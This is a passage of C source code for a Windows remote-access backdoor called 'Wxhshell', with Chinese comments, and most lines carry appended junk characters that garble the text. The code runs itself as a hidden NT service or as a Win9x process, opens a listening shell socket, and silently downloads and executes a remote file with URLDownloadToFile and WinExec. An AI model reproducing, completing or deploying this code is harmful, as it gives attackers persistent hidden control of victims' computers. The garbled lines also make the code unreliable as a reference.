ULONG UniqueProcessId; C@*%AY
ULONG InheritedFromUniqueProcessId; ` *>V6B3
} PROCESS_BASIC_INFORMATION; 7SBM^r}
?QGmoQ)
PROCNTQSIP NtQueryInformationProcess; %0vTA_W
;(K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! mm5I#s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u K'<xM"%T
}KK2WJp#M
HANDLE hProcess; }0$mn)*k
PROCESS_BASIC_INFORMATION pbi; vT?Q^PTO
.
3GnZR,L
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q(lku"U'
if(NULL == hInst ) return 0; UQ5BH%EPb
%moJF1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !tI=`Ml[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3DH.4@7P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p ss6Oz8
_)Qy4[S=d
if (!NtQueryInformationProcess) return 0; {T&v2u#S
Y5HfN[u^7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5 d+<EF+N
if(!hProcess) return 0; 4_tR9 w"
R4V \B
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HzE1r+3Q@
G-arnu)
CloseHandle(hProcess); 7U,k 2LS
\yM-O- {
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )7W6-.d
if(hProcess==NULL) return 0;
;;@IfZ ?j
l<TIG3bs
HMODULE hMod; K'NcTw#f
char procName[255]; aM), M]m[
unsigned long cbNeeded; VMx%1^/(
i`+B4I8[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gfv(w=rr?
On4w/L9L5
CloseHandle(hProcess); \k;U}Te<
k5a\Sq}
if(strstr(procName,"services")) return 1; // 以服务启动 e$/&M*0\f
.!i0_Rv5x
return 0; // 注册表启动 ;+
G9-
} ^|aNG`|O
@44P4?;
// 主模块 +jtA&1cf
int StartWxhshell(LPSTR lpCmdLine) }w@gj"\H
{ MD<-w|#8IV
SOCKET wsl; 1i
u =Y
BOOL val=TRUE; +3Y!xD?=
int port=0; h'l^g%;
struct sockaddr_in door; ~n6[$WjZA
;-Ss# &
if(wscfg.ws_autoins) Install(); 1~'_K9eE
|q_
!.
a
port=atoi(lpCmdLine); ('t kZt%8
"V3}t4
if(port<=0) port=wscfg.ws_port; ?vu_k 'io
>Rt9xP
WSADATA data; t^.'>RwW|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )Pli})
}~Q5Y3]#~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5 [4Z=RP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XrS\+y3
door.sin_family = AF_INET; o 7G> y#Y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); f jI #-
door.sin_port = htons(port); Wr>(#*r7q
pCC 7(Ouo
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9=
V>f)R
closesocket(wsl); dv7<AJ
return 1; m"4B!S&Fc(
} s*Ih_Ag=:
4<.O+hS
if(listen(wsl,2) == INVALID_SOCKET) { r~8;kcu7
closesocket(wsl); DZe}y^F
return 1; 5lTD]d
} Q.k
:\m*h
Wxhshell(wsl); .$Bwb/a
WSACleanup(); %9o+zg? RJ
M^6$
MMx
return 0; W&(f&{A
LmQ/#Gx
} kZVm1W1
z/1{OL
// 以NT服务方式启动 EA|k5W*b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (R'+jWH
{ O"*`'D|hK
DWORD status = 0; ni6r{eSQ
DWORD specificError = 0xfffffff; 2yKz-"E
$%PVJs
serviceStatus.dwServiceType = SERVICE_WIN32; D|_V<'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; gWrAUPS[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %y"J8;U
serviceStatus.dwWin32ExitCode = 0; 3bs4mCq
serviceStatus.dwServiceSpecificExitCode = 0; 7
({=*
serviceStatus.dwCheckPoint = 0; xNpg{cQ=
serviceStatus.dwWaitHint = 0; Bf]$X>d
sG,+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [$a<b/4
if (hServiceStatusHandle==0) return; 5|w&dM
G#[*|+f8
status = GetLastError(); alm-
r-Kb3
if (status!=NO_ERROR) 4:mCXP,x
{ |NrrTN?>
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0xpx(T[
serviceStatus.dwCheckPoint = 0; TfRGA(+#
serviceStatus.dwWaitHint = 0; ^Y04qeRd
serviceStatus.dwWin32ExitCode = status; Ht[{ryTxu
serviceStatus.dwServiceSpecificExitCode = specificError; :?CQuEv-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F9H~k"_ZJR
return; ALGgAX3t
} !@g)10u
44sy`e
serviceStatus.dwCurrentState = SERVICE_RUNNING; IfV
3fJ7
serviceStatus.dwCheckPoint = 0; Cd]/
serviceStatus.dwWaitHint = 0; GBP-V66
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ._CP%
R
} <7n]Ai@Y
1H{jy^sP 7
// 处理NT服务事件,比如:启动、停止 R$m`Z+/@
VOID WINAPI NTServiceHandler(DWORD fdwControl) iOqk*EL_r\
{ 7Kf}O6nE
switch(fdwControl) (~s|=Hxq|-
{ LJQJ\bT?
case SERVICE_CONTROL_STOP: Cca0](R*&
serviceStatus.dwWin32ExitCode = 0; 8o-bd_
serviceStatus.dwCurrentState = SERVICE_STOPPED; _:J*Cm[q
serviceStatus.dwCheckPoint = 0; Z$'IBv
serviceStatus.dwWaitHint = 0; [@"wd_f{l
{ Owf.f;QR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )1F<6R
} 'C?NJ~MN
return; Qw)9r{f
case SERVICE_CONTROL_PAUSE: bJ3(ckhq
serviceStatus.dwCurrentState = SERVICE_PAUSED; #cKqnk
break; j@1)K3Hga
case SERVICE_CONTROL_CONTINUE: {6
.o=EyM{
serviceStatus.dwCurrentState = SERVICE_RUNNING; \cuS>G
break; x<B'.3y
case SERVICE_CONTROL_INTERROGATE: *'ZN:5%H
break; x5Zrz<Y$w
}; hu5!ev2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A^Cj1:,
} ohQAA h
]hTb@.
// 标准应用程序主函数 SEF6B45}1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \#dl6:"
{ Q M1F?F
F#V q#|_)>
// 获取操作系统版本 {G*QY%j^
OsIsNt=GetOsVer(); GsV4ZZ
GetModuleFileName(NULL,ExeFile,MAX_PATH); u oVNK
Qv#]81i(1
// 从命令行安装 eN-au/kN
if(strpbrk(lpCmdLine,"iI")) Install(); BC/_:n8O
9=+-QdX+0]
// 下载执行文件 WZFH@I28
if(wscfg.ws_downexe) { ;D2E_!N
dt
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B|o%_:]+E
WinExec(wscfg.ws_filenam,SW_HIDE); >a>fb|r
} {0yu
Xm_$
dZ
if(!OsIsNt) { smU4jh9S
// 如果时win9x,隐藏进程并且设置为注册表启动 $v27]"]
HideProc(); 0 bSA_
StartWxhshell(lpCmdLine); cF+ X,]=6
} '$m7ft}
else 8 i0
if(StartFromService()) &M"ouy Zo9
// 以服务方式启动 wH6u5*$p
StartServiceCtrlDispatcher(DispatchTable); ]=&L